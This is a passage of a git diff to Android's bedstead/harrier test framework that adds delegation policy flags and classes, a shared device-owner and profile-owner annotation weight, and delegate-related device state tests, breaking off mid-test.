diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasDeviceOwner.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasDeviceOwner.java
index 483a73e..2fdfc9d 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasDeviceOwner.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasDeviceOwner.java
@@ -49,13 +49,17 @@
 @Retention(RetentionPolicy.RUNTIME)
 @RequireFeature(FEATURE_DEVICE_ADMIN)
 public @interface EnsureHasDeviceOwner {
+
+    int DO_PO_WEIGHT = MIDDLE;
+
      /** Behaviour if the device owner cannot be set. */
     FailureMode failureMode() default FailureMode.FAIL;
 
     /**
-     * Whether this DPC should be returned by calls to {@link DeviceState#dpc()}.
+     * Whether this DPC should be returned by calls to {@link DeviceState#dpc()} or
+     * {@link DeviceState#policyManager()}}.
      *
-     * <p>Only one device policy controller per test should be marked as primary.
+     * <p>Only one policy manager per test should be marked as primary.
      */
     boolean isPrimary() default false;
 
@@ -74,5 +78,5 @@
      *
      * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
      */
-    int weight() default MIDDLE;
+    int weight() default DO_PO_WEIGHT;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoDeviceOwner.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoDeviceOwner.java
index 197a5fb..307b554 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoDeviceOwner.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoDeviceOwner.java
@@ -16,7 +16,7 @@
 
 package com.android.bedstead.harrier.annotations.enterprise;
 
-import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.MIDDLE;
+import static com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner.DO_PO_WEIGHT;
 
 import com.android.bedstead.harrier.DeviceState;
 import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
@@ -47,5 +47,5 @@
      *
      * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
      */
-    int weight() default MIDDLE;
+    int weight() default DO_PO_WEIGHT;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoDpc.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoDpc.java
index 72881ba..c97fd7f 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoDpc.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoDpc.java
@@ -16,7 +16,7 @@
 
 package com.android.bedstead.harrier.annotations.enterprise;
 
-import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.MIDDLE;
+import static com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner.DO_PO_WEIGHT;
 
 import com.android.bedstead.harrier.DeviceState;
 import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
@@ -53,5 +53,5 @@
      *
      * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
      */
-    int weight() default MIDDLE;
+    int weight() default DO_PO_WEIGHT;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoProfileOwner.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoProfileOwner.java
index 2d24990..561da3c 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoProfileOwner.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoProfileOwner.java
@@ -17,7 +17,7 @@
 package com.android.bedstead.harrier.annotations.enterprise;
 
 import static com.android.bedstead.harrier.DeviceState.UserType.CURRENT_USER;
-import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.MIDDLE;
+import static com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner.DO_PO_WEIGHT;
 
 import com.android.bedstead.harrier.DeviceState;
 import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
@@ -49,5 +49,5 @@
      *
      * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
      */
-    int weight() default MIDDLE;
+    int weight() default DO_PO_WEIGHT;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasProfileOwner.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasProfileOwner.java
index eb5c9e6..a408a4d 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasProfileOwner.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasProfileOwner.java
@@ -19,7 +19,7 @@
 import static android.content.pm.PackageManager.FEATURE_DEVICE_ADMIN;
 
 import static com.android.bedstead.harrier.DeviceState.UserType.CURRENT_USER;
-import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.MIDDLE;
+import static com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner.DO_PO_WEIGHT;
 
 import com.android.bedstead.harrier.DeviceState;
 import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
@@ -45,9 +45,10 @@
     DeviceState.UserType onUser() default CURRENT_USER;
 
     /**
-     * Whether this DPC should be returned by calls to {@link DeviceState#dpc()}.
+     * Whether this DPC should be returned by calls to {@link DeviceState#dpc()} or
+     * {@link DeviceState#policyManager()}}.
      *
-     * <p>Only one device policy controller per test should be marked as primary.
+     * <p>Only one policy manager per test should be marked as primary.
      */
     boolean isPrimary() default false;
 
@@ -66,5 +67,5 @@
      *
      * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
      */
-    int weight() default MIDDLE;
+    int weight() default DO_PO_WEIGHT;
 }
\ No newline at end of file
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnterprisePolicy.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnterprisePolicy.java
index f484370..9b3c16a 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnterprisePolicy.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnterprisePolicy.java
@@ -80,8 +80,6 @@
     int APPLIES_TO_AFFILIATED_CHILD_PROFILES = 1 << 4;
     /** A policy that applies to the parent of the profile of the package which applied the policy. */
     int APPLIES_TO_PARENT = 1 << 5;
-    /** A policy that applies to the parent of the profile of the package which applied the policy if that profile is a COPE profile. */
-    int APPLIES_TO_COPE_PARENT = 1 << 6;
 
     /** A policy that applies to affiliated or unaffiliate profiles of the package which applied the policy. */
     int APPLIES_TO_CHILD_PROFILES =
@@ -97,12 +95,16 @@
     // Applied by
 
     /** A policy that can be applied by a device owner. */
-    int APPLIED_BY_DEVICE_OWNER = 1 << 7;
+    int APPLIED_BY_DEVICE_OWNER = 1 << 6;
     /** A policy that can be applied by a profile owner of an unaffiliated profile. */
-    int APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE = 1 << 8;
+    int APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE = 1 << 7;
     /** A policy that can be applied by a profile owner of an affiliated profile */
-    int APPLIED_BY_AFFILIATED_PROFILE_OWNER_PROFILE = 1 << 9;
-    /** A policy that can be applied by a profile owner of an affiliated or unaffiliated profile. */
+    int APPLIED_BY_AFFILIATED_PROFILE_OWNER_PROFILE = 1 << 8;
+    /** A policy that can be applied by a profile owner of a cope profile */
+    int APPLIED_BY_COPE_PROFILE_OWNER = 1 << 9;
+
+    /** A policy that can be applied by a profile owner of an affiliated or unaffiliated profile.
+     * This does not include cope profiles. */
     int APPLIED_BY_PROFILE_OWNER_PROFILE =
             APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE
                     | APPLIED_BY_AFFILIATED_PROFILE_OWNER_PROFILE;
@@ -164,6 +166,14 @@
      * {@link APPLIES_IN_BACKGROUND}. */
     int DOES_NOT_APPLY_IN_BACKGROUND = 1 << 18;
 
+
+    /**
+     * A policy which can be applied by a delegate.
+     *
+     * See {@link #delegatedScopes()} for the scopes which enable this.
+     */
+    int CAN_BE_DELEGATED = 1 << 19;
+
     /** Flags indicating DPC states which can set the policy. */
     int[] dpc() default {};
 
@@ -184,7 +194,7 @@
     /**
      * {@link DelegatedScope} indicating which delegated scopes can control the policy.
      *
-     * <p>Note that this currently does not generate any additional tests but may do in future.
+     * <p>This applies to {@link #dpc()} entries with the {@link #CAN_BE_DELEGATED} flag.
      */
-    DelegatedScope[] delegatedScopes() default {};
+    String[] delegatedScopes() default {};
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/ApplicationRestrictions.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/ApplicationRestrictions.java
index 5944757..9e30dad 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/ApplicationRestrictions.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/ApplicationRestrictions.java
@@ -16,10 +16,13 @@
 
 package com.android.bedstead.harrier.policies;
 
+import static android.app.admin.DevicePolicyManager.DELEGATION_APP_RESTRICTIONS;
+
 import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
 import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER;
 import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_IN_BACKGROUND;
 import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.CAN_BE_DELEGATED;
 
 import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
@@ -34,8 +37,11 @@
  * {@link DevicePolicyManager#setApplicationRestrictions(ComponentName, String, Bundle)} and
  * {@link DevicePolicyManager#getApplicationRestrictions(ComponentName, String)}.
  */
-@EnterprisePolicy(dpc = {
-        APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER | APPLIES_IN_BACKGROUND,
-        APPLIED_BY_PROFILE_OWNER | APPLIES_TO_OWN_USER})
+@EnterprisePolicy(
+        dpc = {
+            APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER | APPLIES_IN_BACKGROUND | CAN_BE_DELEGATED,
+            APPLIED_BY_PROFILE_OWNER | APPLIES_TO_OWN_USER | CAN_BE_DELEGATED},
+        delegatedScopes = DELEGATION_APP_RESTRICTIONS
+        )
 public final class ApplicationRestrictions {
 }
\ No newline at end of file
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/ApplicationRestrictionsManagingPackage.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/ApplicationRestrictionsManagingPackage.java
new file mode 100644
index 0000000..379b071
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/ApplicationRestrictionsManagingPackage.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.policies;
+
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_IN_BACKGROUND;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.os.Bundle;
+
+import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
+
+/**
+ * Policy for application restrictions.
+ *
+ * <p>This is used by the method
+ * {@link DevicePolicyManager#setApplicationRestrictionsManagingPackage(ComponentName, String, Bundle)}
+ */
+@EnterprisePolicy(
+        dpc = {
+                APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER | APPLIES_IN_BACKGROUND,
+                APPLIED_BY_PROFILE_OWNER | APPLIES_TO_OWN_USER})
+public final class ApplicationRestrictionsManagingPackage {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/Delegation.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/Delegation.java
new file mode 100644
index 0000000..5bcde92
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/Delegation.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.policies;
+
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+
+import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
+
+import java.util.List;
+
+/**
+ * Policy for general admin delegation that doesn't have additional scope-specific constraints on
+ * the admin type. Specific delegations with these constraints have their own policies.
+ *
+ * <p>This is used for methods such as {@link
+ * DevicePolicyManager#setDelegatedScopes(ComponentName, String, List)}.
+ */
+@EnterprisePolicy(dpc = {APPLIED_BY_DEVICE_OWNER | APPLIED_BY_PROFILE_OWNER | APPLIES_TO_OWN_USER})
+public final class Delegation {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/DeprecatedPasswordAPIs.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/DeprecatedPasswordAPIs.java
new file mode 100644
index 0000000..5eb0053
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/DeprecatedPasswordAPIs.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.policies;
+
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+
+import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
+
+/**
+ * Policy for test cases testing password management APIs that are deprecated and not supported in
+ * some platforms.
+ */
+@EnterprisePolicy(dpc = APPLIED_BY_DEVICE_OWNER | APPLIED_BY_PROFILE_OWNER | APPLIES_TO_OWN_USER)
+public final class DeprecatedPasswordAPIs {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/NetworkLoggingDelegation.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/NetworkLoggingDelegation.java
new file mode 100644
index 0000000..ae4dfcd
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/NetworkLoggingDelegation.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.policies;
+
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER_PROFILE;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+
+import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
+
+import java.util.List;
+
+/**
+ * Policy for network logging delegation.
+ *
+ * <p>This is used for methods such as {@link
+ * DevicePolicyManager#setDelegatedScopes(ComponentName, String, List)} with scope {@link
+ * DevicePolicyManager#DELEGATION_NETWORK_LOGGING}.
+ */
+@EnterprisePolicy(dpc = {
+        APPLIED_BY_DEVICE_OWNER | APPLIED_BY_PROFILE_OWNER_PROFILE | APPLIES_TO_OWN_USER})
+public final class NetworkLoggingDelegation {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SecurityLoggingDelegation.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SecurityLoggingDelegation.java
new file mode 100644
index 0000000..b8f7617
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SecurityLoggingDelegation.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.policies;
+
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+
+import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
+
+import java.util.List;
+
+/**
+ * Policy for security logging delegation.
+ *
+ * <p>This is used for methods such as {@link
+ * DevicePolicyManager#setDelegatedScopes(ComponentName, String, List)} with scope {@link
+ * DevicePolicyManager#DELEGATION_SECURITY_LOGGING}.
+ */
+// TODO(b/198774281): COPE profile POs can call this too, but we need to add the flag.
+@EnterprisePolicy(dpc = {APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER})
+public final class SecurityLoggingDelegation {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SetPermissionGrantState.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SetPermissionGrantState.java
index 12bb005..bc3861a 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SetPermissionGrantState.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SetPermissionGrantState.java
@@ -21,12 +21,12 @@
 import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
 import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER;
 import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.CAN_BE_DELEGATED;
 
 import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
 
 import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
-import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.DelegatedScope;
 
 /**
  * Policies around setting the grant state of a basic permission.
@@ -36,8 +36,7 @@
  * granting permissions not covered by other policies.
  */
 @EnterprisePolicy(
-        dpc = APPLIED_BY_DEVICE_OWNER | APPLIED_BY_PROFILE_OWNER | APPLIES_TO_OWN_USER,
-        delegatedScopes = @DelegatedScope(
-                scope = DELEGATION_PERMISSION_GRANT, appliesTo = APPLIES_TO_OWN_USER))
+        dpc = APPLIED_BY_DEVICE_OWNER | APPLIED_BY_PROFILE_OWNER | APPLIES_TO_OWN_USER | CAN_BE_DELEGATED,
+        delegatedScopes = DELEGATION_PERMISSION_GRANT)
 public final class SetPermissionGrantState {
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SetSmsPermissionGranted.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SetSmsPermissionGranted.java
index 67f5615..fac7dcd 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SetSmsPermissionGranted.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SetSmsPermissionGranted.java
@@ -16,9 +16,12 @@
 
 package com.android.bedstead.harrier.policies;
 
+import static android.app.admin.DevicePolicyManager.DELEGATION_PERMISSION_GRANT;
+
 import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
 import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER_USER;
 import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.CAN_BE_DELEGATED;
 
 import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
@@ -34,6 +37,7 @@
  */
 // TODO(198311372): Check if APPLIED_BY_PROFILE_OWNER_USER is expected
 @EnterprisePolicy(
-        dpc = APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER | APPLIED_BY_PROFILE_OWNER_USER)
+        dpc = APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER | APPLIED_BY_PROFILE_OWNER_USER | CAN_BE_DELEGATED,
+        delegatedScopes = DELEGATION_PERMISSION_GRANT)
 public final class SetSmsPermissionGranted {
 }
diff --git a/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java b/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java
index d4c8eb8..c0290fe 100644
--- a/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java
+++ b/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java
@@ -18,6 +18,8 @@
 
 import static android.Manifest.permission.INTERACT_ACROSS_PROFILES;
 import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
+import static android.app.admin.DevicePolicyManager.DELEGATION_APP_RESTRICTIONS;
+import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_INSTALL;
 import static android.content.pm.PackageManager.PERMISSION_DENIED;
 import static android.content.pm.PackageManager.PERMISSION_GRANTED;
 
@@ -27,6 +29,8 @@
 import static com.android.bedstead.harrier.OptionalBoolean.TRUE;
 import static com.android.bedstead.harrier.annotations.RequireAospBuild.GMS_CORE_PACKAGE;
 import static com.android.bedstead.harrier.annotations.RequireCnGmsBuild.CHINA_GOOGLE_SERVICES_FEATURE;
+import static com.android.bedstead.harrier.annotations.enterprise.EnsureHasDelegate.AdminType.DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnsureHasDelegate.AdminType.PRIMARY;
 import static com.android.bedstead.nene.users.UserType.MANAGED_PROFILE_TYPE_NAME;
 import static com.android.bedstead.nene.users.UserType.SECONDARY_USER_TYPE_NAME;
 import static com.android.bedstead.nene.users.UserType.SYSTEM_USER_TYPE_NAME;
@@ -37,6 +41,8 @@
 
 import android.app.ActivityManager;
 import android.os.Build;
+import android.platform.test.annotations.AppModeFull;
+import android.os.Bundle;
 
 import com.android.bedstead.harrier.annotations.EnsureDoesNotHavePermission;
 import com.android.bedstead.harrier.annotations.EnsureHasNoSecondaryUser;
@@ -66,6 +72,7 @@
 import com.android.bedstead.harrier.annotations.RequireSdkVersion;
 import com.android.bedstead.harrier.annotations.RequireUserSupported;
 import com.android.bedstead.harrier.annotations.TestTag;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDelegate;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDeviceOwner;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDpc;
@@ -81,6 +88,8 @@
 import com.android.bedstead.nene.packages.Package;
 import com.android.bedstead.nene.users.UserReference;
 import com.android.bedstead.nene.utils.Tags;
+import com.android.bedstead.remotedpc.RemoteDelegate;
+import com.android.bedstead.remotedpc.RemoteDpc;
 
 import org.junit.ClassRule;
 import org.junit.Ignore;
@@ -282,6 +291,7 @@
 
     @Test
     @EnsureDoesNotHavePermission(TEST_PERMISSION_1)
+    @AppModeFull // withoutPermission does not work on instant apps
     public void ensureDoesNotHavePermission_permissionIsDenied() {
         assertThat(TestApis.context().instrumentedContext()
                 .checkSelfPermission(TEST_PERMISSION_1)).isEqualTo(PERMISSION_DENIED);
@@ -289,6 +299,7 @@
 
     @Test
     @EnsureDoesNotHavePermission({TEST_PERMISSION_1, TEST_PERMISSION_2})
+    @AppModeFull // withoutPermission does not work on instant apps
     public void ensureDoesNotHavePermission_multiplePermissions_permissionsAreDenied() {
         assertThat(TestApis.context().instrumentedContext()
                 .checkSelfPermission(TEST_PERMISSION_1)).isEqualTo(PERMISSION_DENIED);
@@ -301,6 +312,7 @@
     @EnsureDoesNotHavePermission(TEST_PERMISSION_2)
     @RequireSdkVersion(min = Build.VERSION_CODES.R,
             reason = "Used permissions not available prior to R")
+    @AppModeFull // withoutPermission does not work on instant apps
     public void ensureHasPermissionAndDoesNotHavePermission_permissionsAreCorrect() {
         assertThat(TestApis.context().instrumentedContext()
                 .checkSelfPermission(TEST_PERMISSION_1)).isEqualTo(PERMISSION_GRANTED);
@@ -624,7 +636,7 @@
     @IncludeRunOnBackgroundDeviceOwnerUser
     public void includeRunOnBackgroundDeviceOwnerUserAnnotation_isRunningOnDeviceOwnerUser() {
         assertThat(TestApis.users().instrumented())
-                .isEqualTo(sDeviceState.dpc().devicePolicyController().user());
+                .isEqualTo(sDeviceState.dpc().user());
     }
 
     @Test
@@ -702,4 +714,51 @@
     public void testTagAnnoation_testTagIsSet() {
         assertThat(Tags.hasTag("TestTag")).isTrue();
     }
+
+    @Test
+    @EnsureHasDeviceOwner
+    @EnsureHasDelegate(admin = DEVICE_OWNER, scopes = DELEGATION_CERT_INSTALL, isPrimary = true)
+    public void ensureHasPrimaryDelegateAnnotation_dpcReturnsDelegate() {
+        assertThat(sDeviceState.dpc()).isInstanceOf(RemoteDelegate.class);
+    }
+
+    @Test
+    @EnsureHasDeviceOwner
+    @EnsureHasDelegate(admin = DEVICE_OWNER, scopes = DELEGATION_CERT_INSTALL, isPrimary = false)
+    public void ensureHasNonPrimaryDelegateAnnotation_dpcReturnsDpc() {
+        assertThat(sDeviceState.dpc()).isInstanceOf(RemoteDpc.class);
+    }
+
+    @Test
+    @EnsureHasDeviceOwner
+    @EnsureHasDelegate(admin = DEVICE_OWNER, scopes = DELEGATION_CERT_INSTALL, isPrimary = true)
+    public void ensureHasDelegateAnnotation_dpcCanUseDelegatedFunctionality() {
+        assertThat(sDeviceState.dpc().devicePolicyManager().getEnrollmentSpecificId()).isNotNull();
+    }
+
+    @Test
+    @EnsureHasDeviceOwner
+    @EnsureHasDelegate(admin = DEVICE_OWNER,
